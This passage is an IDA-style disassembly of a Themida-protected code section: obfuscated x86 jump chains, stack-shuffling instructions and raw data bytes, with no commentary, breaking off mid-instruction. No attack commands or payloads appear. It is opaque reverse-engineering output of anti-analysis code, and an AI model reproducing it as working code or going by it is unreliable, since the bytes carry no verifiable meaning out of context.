81240C8Bh, 4C4h, 241C8B00h, 4C481h, 0BD550000h, 4, 2C8BEB01h dd 4C48324h, 8104C383h, 4ECh, 241C8900h, 42474FFh, 24048F5Bh dd 0E924248Bh, 0FFFF7FEAh ; --------------------------------------------------------------------------- loc_562ECC: ; CODE XREF: Themida_:005634B8j sub ebx, 495C0441h jmp loc_55BC0B ; --------------------------------------------------------------------------- loc_562ED7: ; CODE XREF: Themida_:00554DA4j push esp pop edi jmp loc_55A9D4 ; --------------------------------------------------------------------------- dw 0FCB9h dd 0F7596416h, 3E1C1D9h, 0FF56D4E9h db 0FFh byte_562EED db 66h, 0Fh, 0B6h ; DATA XREF: Themida_:0054FC5Co dd 0C214E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562EF6: ; CODE XREF: Themida_:0055502Aj xchg edi, [esp] pop esp push 3588h jmp loc_5548F7 ; --------------------------------------------------------------------------- dd 4A50C681h, 0FE01071Bh, 4A50EE81h, 5BE9071Bh, 5200000Fh dd 8152C289h, 5B702404h, 0E9591818h, 0FFFFBB71h ; --------------------------------------------------------------------------- loc_562F28: ; CODE XREF: Themida_:0055D0E2j push ebx jmp loc_5500AD ; --------------------------------------------------------------------------- dw 0E95Ch dd 0FFFF3057h, 0AD1E19BDh, 8BD53178h, 89522414h, 4EC83E2h dd 0E9243C89h, 805h ; --------------------------------------------------------------------------- loc_562F4C: ; CODE XREF: Themida_:00556DF4j add ebp, 4 jmp loc_55F0DC ; --------------------------------------------------------------------------- loc_562F57: ; CODE XREF: Themida_:00554996j pop ecx add ecx, ebp pop ebp sub ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_55D330 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 6E716855h, 2C8B1C6Ch, 9A54E924h, 0C968FFFFh, 89000078h dd 77BA2414h, 42724519h, 729ECA81h, 0C28102BEh, 3A412145h dd 3760EA81h, 0D3294EBBh, 0FFC1BBE9h, 68FFh, 9AE90000h dd 68FFFFF5h, 3958h, 0E9241C89h, 0FFFF73FEh, 0A3DEF81h dd 685323D1h, 4F31h, 55241489h, 0E36A6ABDh, 5DEA8970h dd 78926851h, 0C8B37A4h, 4C48124h, 81000000h, 935DCAF1h dd 6AF1815Ah, 89CF2A84h, 0D32959CBh, 0C1DBF75Ah, 39E907EBh db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562FFB: ; CODE XREF: Themida_:0055BB44j push esp pop ebx push eax push ebx push 73A74145h jmp loc_554C09 ; --------------------------------------------------------------------------- db 57h, 68h, 4Fh dd 0E96FC76Dh, 1EFDh, 0C8285866h, 0CFD1E959h, 0C681FFFFh dd 0FAEBD737h, 505EF089h, 0D40DF6B8h, 6449050Ah, 0E0C13D08h dd 0B52D08h, 0A60D503Eh, 542EA6Bh, 6FD63563h, 6ADECF35h dd 58C6010Eh, 0FF28E5E9h, 3BE954FFh db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563057: ; CODE XREF: Themida_:00557DCAj and edx, 1EC94601h and edx, 507212A6h sub edx, 66D66D6Bh jmp loc_5609F8 ; --------------------------------------------------------------------------- loc_56306E: ; CODE XREF: Themida_:005576AFj push dword ptr [esp] pop ebp add esp, 4 add esi, 6CF122C7h sub esi, edx jmp loc_551E9F ; --------------------------------------------------------------------------- dw 0E953h dd 0FFFF573Eh, 685DEB01h, 2FF0h, 0FFCB78E9h, 2434FFFFh dd 5A2434FFh, 0E904EC83h, 976h, 0BD262CBFh, 794DE93Eh dd 0B850FFFFh, 1870CD85h, 0FF621FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5630B9: ; CODE XREF: Themida_:005597ECj push eax mov eax, esp push ecx mov ecx, 4 jmp loc_557D89 ; --------------------------------------------------------------------------- loc_5630C7: ; CODE XREF: Themida_:00559C34j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_555608 ; --------------------------------------------------------------------------- loc_5630DE: ; CODE XREF: Themida_:005610B6j pop ebx sub esp, 4 mov [esp], edi pop edx jmp loc_563828 ; --------------------------------------------------------------------------- dw 8858h dd 89E95BF8h, 0BEFFFF6Bh, 238D775Bh, 15EF201h, 9F685AD0h dd 8900001Ch, 2BB241Ch, 5000000h, 30F61312h, 122DD829h dd 5B30F613h, 5C240487h, 0FFDEF7E9h, 0ABEB81FFh, 0E931361Fh dd 0FFFED264h ; --------------------------------------------------------------------------- loc_563130: ; CODE XREF: Themida_:0055759Dj pop eax jmp loc_557F9D ; --------------------------------------------------------------------------- dw 5650h dd 0D27D4EBEh, 891EB843h, 9DE9A467h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563147: ; CODE XREF: Themida_:00555818j add ebp, 4 push eax mov eax, 4 add ebp, eax jmp loc_55C143 ; --------------------------------------------------------------------------- dw 405h dd 55000000h, 4BDh, 0D8F6E900h, 0F289FFFEh, 0EAC1425Eh dd 0C6F28106h, 8934B015h, 0E0C15AD0h, 4EC8304h, 0BA241489h dd 4590116Ch, 0D213205h, 2DD0291Fh, 1F0D2132h, 6824148Bh dd 5DB5h, 89240C89h, 8B8AE9E1h, 0B652FFFFh, 66C6FE19h dd 1B551h, 805966EEh, 0F5209FEEh, 0F6C5865Ah, 30C530D0h dd 68C530E8h, 129Fh, 52241C89h, 80E9CEB6h, 81FFFFEDh, 2F5E42E2h dd 6DF2811Fh, 812BCF5Bh, 4A1E97E2h, 0E1F2816Fh, 8125783Ch dd 933647C2h, 0F6F9E952h, 0CA81FFFFh, 56EF1559h, 8106EAC1h dd 0EA7AB4C2h, 3AEA8118h, 31FC8D58h, 0FD685AD1h, 89000032h dd 0FBE9240Ch, 8100001Eh, 6CBAB0F5h, 0A7C68109h, 117D475h dd 0A7EE81EEh, 5D17D475h, 815EF129h, 6E5913F1h, 4E6368E9h dd 14890000h, 58506824h, 0E95A4D04h, 0FFFF109Dh ; --------------------------------------------------------------------------- loc_56324C: ; CODE XREF: Themida_:0056454Cj pop edi jmp loc_55ACEA ; --------------------------------------------------------------------------- dw 0E95Ah dd 0FFFF2A0Fh ; --------------------------------------------------------------------------- loc_563258: ; CODE XREF: Themida_:00561A68j xchg esi, ecx not esi xchg esi, ecx jmp loc_55D9CB ; --------------------------------------------------------------------------- loc_563263: ; CODE XREF: Themida_:0055F83Dj xor edi, 6CB05692h push ebx push edx push 4AFF3E0Dh pop edx jmp loc_55330D ; --------------------------------------------------------------------------- dw 74FFh dd 8F5E0424h, 895C2404h, 5954240Ch, 4C181h, 0E9810000h dd 4, 0FF0816E9h, 4C381FFh, 81000000h, 4C3h, 241C8700h dd 0E924248Bh, 0FFFF01F7h ; --------------------------------------------------------------------------- loc_5632AC: ; CODE XREF: Themida_:005543A1j pop eax and eax, ecx mov ecx, [esp] add esp, 4 shr eax, 0Bh xor ecx, eax push 2274h mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 push 4B16h mov [esp], edi push esp mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], edx push ecx jmp loc_556484 ; --------------------------------------------------------------------------- loc_5632EF: ; CODE XREF: Themida_:0055D81Aj mov [esp], edx push ebx push 222C35FDh jmp loc_55299A ; --------------------------------------------------------------------------- loc_5632FD: ; CODE XREF: Themida_:00555742j pop ecx xchg ebx, [esp] pop esp mov [esp], eax jmp loc_55B03F ; --------------------------------------------------------------------------- loc_56330A: ; CODE XREF: Themida_:0055BFC5j sub edx, 20C240B6h jmp loc_5519A4 ; --------------------------------------------------------------------------- db 0B7h, 0D0h, 0E9h dd 0FFFFCD2Ch, 769FE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563322: ; CODE XREF: Themida_:0055E249j add esi, 4 jmp loc_5562A2 ; --------------------------------------------------------------------------- dw 348Bh dd 4C48324h, 8B24048Fh, 4012424h, 0D8E99C24h, 81FFFECBh dd 326494C3h, 0D3E3813Fh, 0E9289C35h, 0FFFF4B55h, 276568h dd 243C8900h, 0C7815F54h, 4, 0E904C783h, 21BFh, 15BD829h dd 9DB8E9D8h, 0E789FFFFh, 0FECEB2E9h db 0FFh ; --------------------------------------------------------------------------- loc_563379: ; CODE XREF: Themida_:00557AC5j add esp, 4 jmp loc_559756 ; --------------------------------------------------------------------------- dd 7AA068h, 242C8900h, 7A5C68h, 0CEC0E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563396: ; CODE XREF: Themida_:0056516Aj pop dword ptr [esp] jmp loc_558875 ; --------------------------------------------------------------------------- dw 805Bh dd 79E9BAF6h, 5E000017h, 295DE829h, 24048BC7h, 0E904C483h dd 0FFFFD4F1h, 22E9D428h, 89FFFF1Ch, 6AE9242Ch db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5633C7: ; CODE XREF: Themida_:005521BBj push ebx push 0 pop ebx add ebx, ecx add [ebx], esi pop ebx pop ecx mov edx, [esp] add esp, 4 pop esi loc_5633DB: ; CODE XREF: Themida_:005519B0j push esi push esp pop esi add esi, 4 push 0D35h jmp loc_553545 ; --------------------------------------------------------------------------- loc_5633EE: ; CODE XREF: Themida_:00550E8Cj pop eax jmp loc_557104 ; --------------------------------------------------------------------------- loc_5633F4: ; CODE XREF: Themida_:0055256Aj add ecx, 4 jmp loc_551414 ; --------------------------------------------------------------------------- dd 0E95AD601h, 0FFFFA397h, 0D531D2F7h, 5B8E9h, 53D42800h dd 0EB801DB3h, 0D3B050EFh, 56E9AD34h, 8B000004h, 0C3302424h dd 66C0B60Fh, 6824148Bh, 70BBh, 83241489h, 0EC8304ECh dd 24248904h, 4240483h, 5324048Fh, 4BBh, 24448100h, 5B2D6B04h dd 246C8167h, 82516604h, 246C8158h, 3A500E04h, 245C0125h dd 24448104h, 3A500E04h, 24448125h, 82516604h, 246C8158h dd 5B2D6B04h, 148B5B67h, 0CC4DE924h db 0FEh, 0FFh word_563486 dw 0A868h ; DATA XREF: Themida_:0054FE98o dd 0E9000009h, 0FFFED8F9h, 0BBh, 0E9CB0100h, 0FFFF700Fh ; --------------------------------------------------------------------------- loc_56349C: ; CODE XREF: Themida_:00561E94j mov edi, 42EA6763h and edi, 3F8C70FBh add edi, 66C0867h sub ebp, edi pop edi add ebx, 495C0441h add ebx, ebp jmp loc_562ECC ; --------------------------------------------------------------------------- loc_5634BD: ; CODE XREF: Themida_:00559936j mov ecx, 68267502h shr ecx, 6 push 5942h mov [esp], ecx inc dword ptr [esp] jmp loc_56005C ; --------------------------------------------------------------------------- loc_5634D5: ; CODE XREF: Themida_:005613ACj pop esp push 46B6h mov [esp], edi push 5321h mov [esp], ecx push esp jmp loc_555EF7 ; --------------------------------------------------------------------------- loc_5634EC: ; CODE XREF: Themida_:0055FDFAj push dword ptr [esp] pop eax add esp, 4 push eax jmp loc_564814 ; --------------------------------------------------------------------------- loc_5634F9: ; CODE XREF: Themida_:0055E4DCj pop esi shl eax, cl push ecx mov ecx, esp jmp loc_556295 ; --------------------------------------------------------------------------- loc_563504: ; CODE XREF: Themida_:005598CFj push eax jmp loc_555721 ; --------------------------------------------------------------------------- dw 1489h dd 1132E924h db 2 dup(0) word_563512 dw 8B66h ; DATA XREF: Themida_:0054FCECo dd 7E9240Ch, 1FFFED6h, 140668C3h, 0C890000h, 6388E924h dd 0F180FFFFh, 59CB00F0h, 28FEEB80h, 0B30DE9C3h, 8151FFFFh dd 4ECh, 243C8900h, 0E51E08BFh, 5FF98949h, 0FF6D78E9h dd 33F581FFh, 8B3F8002h, 0C481240Ch, 4, 0B951h, 0E9290000h dd 9FE9CD87h db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56356F: ; CODE XREF: Themida_:00556D2Bj pop eax add esp, 4 push edx pop eax push dword ptr [esp] pop edx push edi push 4D33h sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_558D4C ; --------------------------------------------------------------------------- loc_563597: ; CODE XREF: Themida_:0056192Dj jz loc_551B4D push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx sub esp, 4 mov [esp], esi mov esi, esp push edx push ecx mov ecx, 0BC77EACh mov edx, 0F4388158h add edx, 4F94010Eh add edx, ecx sub edx, 4F94010Eh pop ecx add esi, edx pop edx push ebp jmp loc_55A283 ; --------------------------------------------------------------------------- a0Htb db '0Ãhtb',0 align 2 dw 1C89h dd 5CE95124h, 81FFFF13h, 4ECh, 242C8900h, 3A7B38BDh, 21C38150h dd 0E9636025h, 0FFFF9AB3h ; --------------------------------------------------------------------------- loc_5635FC: ; CODE XREF: Themida_:0055E535j sub edx, esi pop esi and ecx, edx push dword ptr [esp] pop edx add esp, 4 shr ecx, 0Bh push edi push esp mov edi, [esp] add esp, 4 add edi, 4 jmp loc_560972 ; --------------------------------------------------------------------------- db 51h, 55h, 0BDh dd 2DCF6E75h, 0CF6E79B9h, 5DE9292Dh, 8759CE29h, 895C2434h dd 74FF242Ch, 2C8B0424h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_56280D ; --------------------------------------------------------------------------- db 81h, 0F3h, 90h dd 8175D076h, 22A906C3h, 0BAC8E98Ah, 8B66FFFFh, 0C4832414h dd 5BF93002h, 5158B652h, 0EE0049B5h, 0FFDC51E9h, 5EF589FFh dd 5DE9534Dh, 89FFFF2Dh, 4929E9E6h, 2C89FFFFh, 0A1BB5324h dd 89799F0Bh, 7088E9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563692: ; CODE XREF: Themida_:0055171Aj pop edi xchg ebp, [esp] jmp loc_562685 ; --------------------------------------------------------------------------- db 31h dd 2C33242Ch, 24248B24h, 9C2424D2h, 0FEC86AE9h, 81E689FFh dd 4C6h, 4EE8100h, 87000000h, 0E95C2434h, 0FFFF621Ch ; --------------------------------------------------------------------------- loc_5636C4: ; CODE XREF: Themida_:0055199Fj pop esp jmp loc_55C417 ; --------------------------------------------------------------------------- dw 0E8C1h dd 44343507h, 0BA523E19h, 30147DA5h, 0ECE9DAF7h db 30h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5636DF: ; CODE XREF: Themida_:0055CF2Aj push ebx push 78DD5E74h mov ebx, [esp] add esp, 4 jmp loc_558A46 ; --------------------------------------------------------------------------- db 5Fh dd 4D5EF529h, 7B46ED81h, 0EE011493h, 0E92434FFh, 0FFFF3FFCh dword_563708 dd 0E92434FFh, 0FFFFF446h, 24E95Dh, 248BFFFFh, 240C8924h ; DATA XREF: Themida_:0054FEB0o dd 0AF7098B9h, 96E9816Ah, 816AAF70h, 0B74F9BEFh, 81CF0162h dd 0B74F9BC7h, 240C8B62h, 3304C483h, 3C31243Ch, 243C3324h dd 6624248Bh, 9C2424D3h, 0FEC7C6E9h, 0CB951FFh, 89448D7Ah dd 240C8BCFh, 0E904C483h, 0FFFECB67h, 5AD33159h, 4117BF57h dd 814F6919h, 0EEFB11EFh, 0FFFB01B1h, 815F2434h, 4C4h dd 0E9DD0100h, 0FFFF8E63h, 8158C729h, 939CDEFh, 4EC815Ah dd 89000000h, 0D8BE2434h, 4E4E6115h, 0C681D6F7h, 7A081825h dd 30E95157h, 5CFFFF2Fh, 31240C33h, 0C33240Ch, 57D0E924h dd 874BFFFFh, 81DEF7DEh, 6C58F5EEh, 63EE817Fh, 4E178D38h dd 79D4E681h, 0EE81693Dh, 203531D0h, 575EF289h, 48266EBFh dd 5FF9010Ch, 44F8C181h, 0D101442Dh, 44F8E981h, 0E981442Dh dd 0C48266Eh, 5A2434FFh, 0ABBE950h, 48B0000h, 4C48124h dd 68000000h, 774Bh, 0FF525EE9h, 5E089FFh, 4, 0E904C083h dd 0FFFF5B72h ; --------------------------------------------------------------------------- loc_563828: ; CODE XREF: Themida_:005630E9j push dword ptr [esp] mov edi, [esp] jmp loc_5643EC ; --------------------------------------------------------------------------- loc_563833: ; CODE XREF: Themida_:0055D182j push edi jmp loc_55966B ; --------------------------------------------------------------------------- db 29h, 0FDh, 5Fh dd 0EC83C501h, 7B2CE904h, 0F701FFFFh, 4C7835Eh, 8B243C87h dd 98E92424h, 52FFFF2Fh, 0DD226ABAh, 399D2D53h, 0D0296446h dd 0FEE1BDE9h, 2434FFFFh, 0E3895358h, 0FF9640E9h, 51D8F6FFh dd 0C980D0B1h, 72C7E9D7h, 0C681FFFFh, 4, 4EE81h, 0DBE90000h dd 8FFFFEDBh, 248B2404h, 240CD224h, 0C675E99Ch, 3C8BFFFEh dd 4C48324h, 5506E9C1h, 5C6642BDh, 8BE92905h, 5456242Ch dd 1E23E95Eh, 91B8FFFFh, 351C0C37h, 2C19032Dh, 0E904E8C1h dd 0FFFF4D38h, 8158C689h, 4ECh, 243C8900h, 455D8BBFh, 0E1E98152h dd 16B5A59h, 0E1C181F9h, 0E96B5A59h, 0FFFF0F7Bh ; --------------------------------------------------------------------------- loc_5638F4: ; CODE XREF: Themida_:0054FFC8j push eax mov eax, 20412492h sub esp, 4 mov [esp], eax mov eax, 60116ADEh jmp loc_55CEE2 ; --------------------------------------------------------------------------- loc_56390D: ; CODE XREF: Themida_:005572B0j and ebx, 277167A2h xor ebx, 22604282h add esi, ebx mov ebx, [esp] add esp, 4 xor esi, [esp] jmp loc_562DE8 ; --------------------------------------------------------------------------- loc_563929: ; CODE XREF: Themida_:00560AA5j add ebx, 4 xchg ebx, [esp] jmp loc_554961 ; --------------------------------------------------------------------------- dword_563934 dd 24048B66h, 5B0C68h, 240C8900h, 8904EC83h, 4812424h ; DATA XREF: Themida_:0054FDE0o dd 424h, 2434FF00h, 0FEF7DCE9h, 241C89FFh, 241C8B54h, 0FF8B7CE9h dd 5AD389FFh, 3D776851h, 2C890000h, 0E7E95224h, 81FFFF4Ah dd 0EB920CC1h, 0E9CB213Bh, 0FFFF4741h, 7B37C281h, 40E9423Bh db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56398B: ; CODE XREF: Themida_:0055B94Fj push ebp mov ebp, 0 sub ebp, edi jmp loc_551E3D ; --------------------------------------------------------------------------- loc_563998: ; CODE XREF: Themida_:005575A3j or edi, 16510B83h and edi, 3ECC77EFh shl edi, 4 sub edi, 0C6F32EFh sub edi, 0F3B6CEC6h add ecx, edi pop edi mov eax, [esp] add esp, 4 push ecx jmp loc_564052 ; --------------------------------------------------------------------------- db 31h, 0EAh, 31h dd 242C31D5h, 31242C33h, 34FF242Ch, 0CFE95824h, 89FFFF7Ch dd 4C381E3h, 0E9000000h, 0FFFF6203h, 4C681h, 0EC810000h dd 4, 0E9241489h, 0FFFF3D85h ; --------------------------------------------------------------------------- loc_5639FC: ; CODE XREF: Themida_:0055A974j mov [esp], eax xchg edi, [esp] not edi xchg edi, [esp] push dword ptr [esp] pop eax push ecx mov ecx, esp sub esp, 4 mov [esp], esi push ebx jmp loc_55C765 ; --------------------------------------------------------------------------- dw 1489h dd 68E28924h, 7010h, 0B9240C89h, 4, 0E959CA01h, 0FFFFAC1Fh dd 46C5F281h, 0D7896C03h, 31F7815Ah, 0F74B2E4Dh, 0CC5DE9D7h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563A4A: ; CODE XREF: Themida_:0055A305j pop esp sub ebx, 626E1FBCh mov ebp, [esp] push esi mov esi, esp add esi, 4 jmp loc_560CA1 ; --------------------------------------------------------------------------- dw 0FF50h dd 58042474h, 5C24048Fh, 0B8240489h, 4, 4C93B850h, 0BD557213h dd 5E321AF0h, 0C5ED8145h, 9EDA30Bh, 685DE8h, 29000000h dd 50582404h, 582414F7h, 2414F750h, 7E242D58h, 3AE92365h db 57h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563AA7: ; CODE XREF: Themida_:005595CAj mov [esp], ecx mov ecx, esp add ecx, 4 push eax mov eax, 4D334BD8h or eax, 2D604FE7h jmp loc_55E21A ; --------------------------------------------------------------------------- dw 8B5Bh dd 0C4812404h, 4, 535BB252h, 0DA0873B3h, 2EAC05Bh, 0B450D2F6h dd 0DEC480A0h, 8858E228h, 24148BD3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xor bl, 7Ch jmp loc_561B68 ; --------------------------------------------------------------------------- db 0FFh dd 0FF042474h, 8AE92434h, 87FFFFD9h, 0E95C240Ch, 0FFFFCD55h ; --------------------------------------------------------------------------- loc_563B18: ; CODE XREF: Themida_:00563F2Fj add ebp, 4 push edi jmp loc_551713 ; --------------------------------------------------------------------------- dd 2474FF56h, 0E4B1E904h, 0D931FFFFh, 0FFD930E9h, 242C8BFFh dd 0C104C483h, 575508E6h, 529F96BFh, 0EB38E987h db 0FEh, 0FFh word_563B4A dw 50ADh ; DATA XREF: Themida_:0054FC54o dd 6135DCB8h, 7E8C11Dh, 8105D0F7h, 56154057h, 0D43B79BEh dd 1AE6816Dh, 0E9790369h, 0FFFF5C38h, 603BF8BDh, 0FF5E951h dd 315CFFFFh, 0E1E92404h, 29FFFF65h, 24148BD3h, 5304C483h dd 42474FFh, 24048F5Bh, 0FFC605E9h, 3CF0BFFFh, 0AAE92A7Ah db 0A8h, 2 dup(0FFh) byte_563B9F db 66h ; DATA XREF: Themida_:0054FE74o dd 665366ADh, 66389EBBh, 81E9D801h, 89FFFEDDh, 0C3015EF0h dd 0FFC7BDE9h, 0C7C581FFh, 5E429309h, 8B242C87h, 1662424h dd 0E99C2404h, 0FFFF2092h, 8516D5BBh, 7EBC131h, 0A675EB81h dd 0D889892Eh, 58C7895Bh, 39A6BD55h, 0EBE957ECh, 89FFFECAh dd 0FABE56E3h, 8151154Dh, 0D51CCAE6h, 2DE68152h, 811F917Eh dd 110C0CF6h, 8BF30110h, 0C4812434h, 4, 0FF040FE9h db 0FFh ; --------------------------------------------------------------------------- loc_563C19: ; CODE XREF: Themida_:00558C0Fj pop esp mov [esp], ecx push esp mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx jmp loc_562E34 ; --------------------------------------------------------------------------- dw 3431h dd 24343324h, 0E089505Ch, 10CFE9h db 0 ; --------------------------------------------------------------------------- loc_563C41: ; CODE XREF: Themida_:0055FECDj sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_5622F9 ; --------------------------------------------------------------------------- db 4Fh, 81h, 0F7h dd 0B2DCD151h, 0C15FFE31h, 0E95104E6h, 0FFFEC750h, 240C8B59h dd 0FFF0D4E9h db 0FFh ; --------------------------------------------------------------------------- loc_563C71: ; CODE XREF: Themida_:00564418j mov edx, [esp] add esp, 4 add edx, 4 add edx, 4 push edx jmp loc_55342E ; --------------------------------------------------------------------------- dd 5A2434FFh, 4C481h, 0F3010000h, 4EC835Eh, 0BD242C89h dd 2, 5BF0EB81h, 0EB017C90h, 0FED5CAE9h db 0FFh ; --------------------------------------------------------------------------- loc_563CB1: ; CODE XREF: Themida_:005542B0j pop ebp xchg ebx, [esp] pop esp jmp loc_55A210 ; --------------------------------------------------------------------------- loc_563CBB: ; CODE XREF: Themida_:00557D21j mov edi, [esp] jmp loc_5625A8 ; --------------------------------------------------------------------------- db 50h dd 0FF0B63E9h, 0C6815EFFh, 4, 4B951h, 0CE010000h, 0FF30E2E9h dd 5BDD20FFh, 8018F580h, 0EB28C4EBh, 59C4C380h, 0FEFBEBE9h dd 4BDFFh, 0EB010000h, 241C875Dh, 7186E95Ch, 0C629FFFFh dd 582434FFh, 0FF3B28E9h, 81C101FFh, 7E5C4CE9h, 53B5E909h dd 2C5BFFFFh, 0E9D00091h, 0FFFEC912h, 0F65AD520h, 0F478E9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563D2E: ; CODE XREF: Themida_:0055DA43j add ebx, 4 jmp loc_55A711 ; --------------------------------------------------------------------------- loc_563D39: ; CODE XREF: Themida_:00558F3Bj mov eax, [esp] add esp, 4 push ebp mov ebp, 0FFFFFFFFh add edi, ebp pop ebp push edi push ecx jmp loc_562D0A ; --------------------------------------------------------------------------- db 58h dd 0E7D1D7F7h, 0FED306E9h db 0FFh ; --------------------------------------------------------------------------- loc_563D59: ; CODE XREF: Themida_:0055A715j add bl, 0C2h sub esp, 4 mov [esp], edx jmp loc_552EF2 ; --------------------------------------------------------------------------- loc_563D67: ; CODE XREF: Themida_:00556ACFj add edi, ecx pop ecx xchg edi, [esp] jmp loc_561C5C ; --------------------------------------------------------------------------- word_563D72 dw 34FFh ; DATA XREF: Themida_:0054FCD0o aYwichaj db '$YW‰çhAj',0 align 2 dw 489h dd 0BF575624h, 7EEE3C02h, 0E9D7F74Fh, 1236h, 0C2E9D828h dd 0BBFFFF1Fh, 5A641AEEh, 58CEE381h, 0EBD15067h, 2155C381h dd 0D3F70601h, 0FF328FE9h db 0FFh ; --------------------------------------------------------------------------- loc_563DB1: ; CODE XREF: Themida_:0055CFABj add esi, 3ECE349Ah add esi, eax sub esi, 3ECE349Ah push dword ptr [esp] jmp loc_55A350 ; --------------------------------------------------------------------------- db 5Ah dd 32A0C381h, 0F30173B7h, 0FF662EE9h db 0FFh ; --------------------------------------------------------------------------- loc_563DD5: ; CODE XREF: Themida_:00552320j xor ebx, 0BF88D55Ch sub esi, ebx jmp loc_5545A4 ; --------------------------------------------------------------------------- dw 0C629h dd 0E33E958h, 0E0C1FFFFh, 6C752D02h, 0C529E55Fh, 2FE95B58h db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563DFB: ; CODE XREF: Themida_:0055DF67j mov [esp], ebx sub esp, 4 push 25A2h mov [esp], esp jmp loc_562C65 ; --------------------------------------------------------------------------- loc_563E0E: ; CODE XREF: Themida_:0055C15Bj sub edi, 49BD7C64h push ecx mov ecx, 661F4A1Dh push edx jmp loc_552E21 ; --------------------------------------------------------------------------- dd 0E904C483h, 0FFFEE05Ch, 1C6F095Eh, 0FFCC37E9h db 0FFh ; --------------------------------------------------------------------------- loc_563E31: ; CODE XREF: Themida_:00565284j xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], ebx mov ebx, 5AF039E3h and ebx, 13C678BEh sub ebx, 0EAC72E72h jmp loc_55A5E3 ; --------------------------------------------------------------------------- dd 0E9A7C580h, 0FFFEF829h, 8018C280h, 0A6E913C4h, 80FFFFF5h dd 0C380AFC3h, 3C22E971h, 0E95FFFFFh, 5F4h ; --------------------------------------------------------------------------- loc_563E78: ; CODE XREF: Themida_:00554C4Cj pop edi add edi, 4 jmp loc_557ACA ; --------------------------------------------------------------------------- loc_563E84: ; CODE XREF: Themida_:0055BE4Bj xor ecx, [esp] mov esp, [esp] mov ecx, [esp] push 3381h mov [esp], edx push esp jmp loc_556580 ; --------------------------------------------------------------------------- loc_563E9B: ; CODE XREF: Themida_:005527F2j push dword ptr [esp] jmp loc_56178C ; --------------------------------------------------------------------------- db 8Bh dd 4302424h, 68E99C24h, 89FFFEC0h, 0EA68240Ch, 8B472564h dd 0C483240Ch, 0E9D9F704h, 0FFFF3B12h, 15DEB29h, 115BE9FBh dd 0ED810000h, 21799112h, 15DEB01h, 0F09CE9C3h, 0E952FFFFh dd 0FFFF21B7h, 8704EF83h, 248B243Ch, 48F5424h, 3861E924h dd 74FFFFFFh, 8F5E0424h, 895C2404h, 0EC83242Ch, 814E904h dd 0F5810000h, 2F4C5A19h, 555DEE21h, 581BB5BDh, 0F1ED8104h dd 2948B787h, 4055DEEh, 0E911B269h, 0FFFEF9FBh ; --------------------------------------------------------------------------- loc_563F2C: ; CODE XREF: Themida_:0055D9D7j push ebp mov ebp, esp jmp loc_563B18 ; --------------------------------------------------------------------------- dd 4F0EF181h, 0E1812515h, 2FE83CB5h, 7FC98141h, 412A9F14h dd 1484F181h, 0CF012B9Fh, 4C78359h, 0FEF526E9h db 0FFh ; --------------------------------------------------------------------------- loc_563F59: ; CODE XREF: Themida_:0055DF78j xchg ebp, [esp] pop esp push 1FA3h mov [esp], ebp mov ebp, 12BE27DAh jmp loc_55EA4D ; --------------------------------------------------------------------------- db 21h dd 0D31DE9E9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563F76: ; CODE XREF: Themida_:0055C67Fj sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], eax push esp mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add eax, 4 sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], ecx push edi jmp loc_56229A ; --------------------------------------------------------------------------- dd 19F8BF57h, 0CF815EC2h, 0BEC216Bh, 0C1E7D147h, 0C78106E7h dd 2F3331FBh, 5760EF81h, 90E94F0Fh, 1FFFFC1h, 42D5DE8h dd 87000000h, 895C2404h, 2682414h, 0E9000000h, 0FFFF747Fh dd 0E9243C8Bh, 0FFFF5E5Eh, 81E78957h, 4C7h, 4C78100h, 87000000h dd 815C243Ch, 0C42AEBC9h, 0D336E92Bh, 0E05FFFEh, 15A2667h dd 670E2DF8h, 875F5A26h, 815C2404h, 4C7h, 243C8700h, 0C8AF0F5Ch dd 0E0E99C51h db 0BEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564037: ; CODE XREF: Themida_:00560EE9j push ecx push 226F45F5h pop ecx push esi mov esi, 3E802ECh and ecx, esi pop esi push eax mov eax, 3E57694Fh jmp loc_559DEF ; --------------------------------------------------------------------------- loc_564052: ; CODE XREF: Themida_:005639C0j push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp jmp loc_564119 ; --------------------------------------------------------------------------- dd 0E9241489h, 0FFFFD4FFh ; --------------------------------------------------------------------------- loc_564068: ; CODE XREF: Themida_:005510BCj pop esi jmp loc_56156E ; --------------------------------------------------------------------------- loc_56406E: ; CODE XREF: Themida_:00562D79j sub dword ptr [esp], 12C11F22h pop edx push edi mov edi, 0D415EA3h add edi, 2D4F0B91h dec edi push ecx mov ecx, 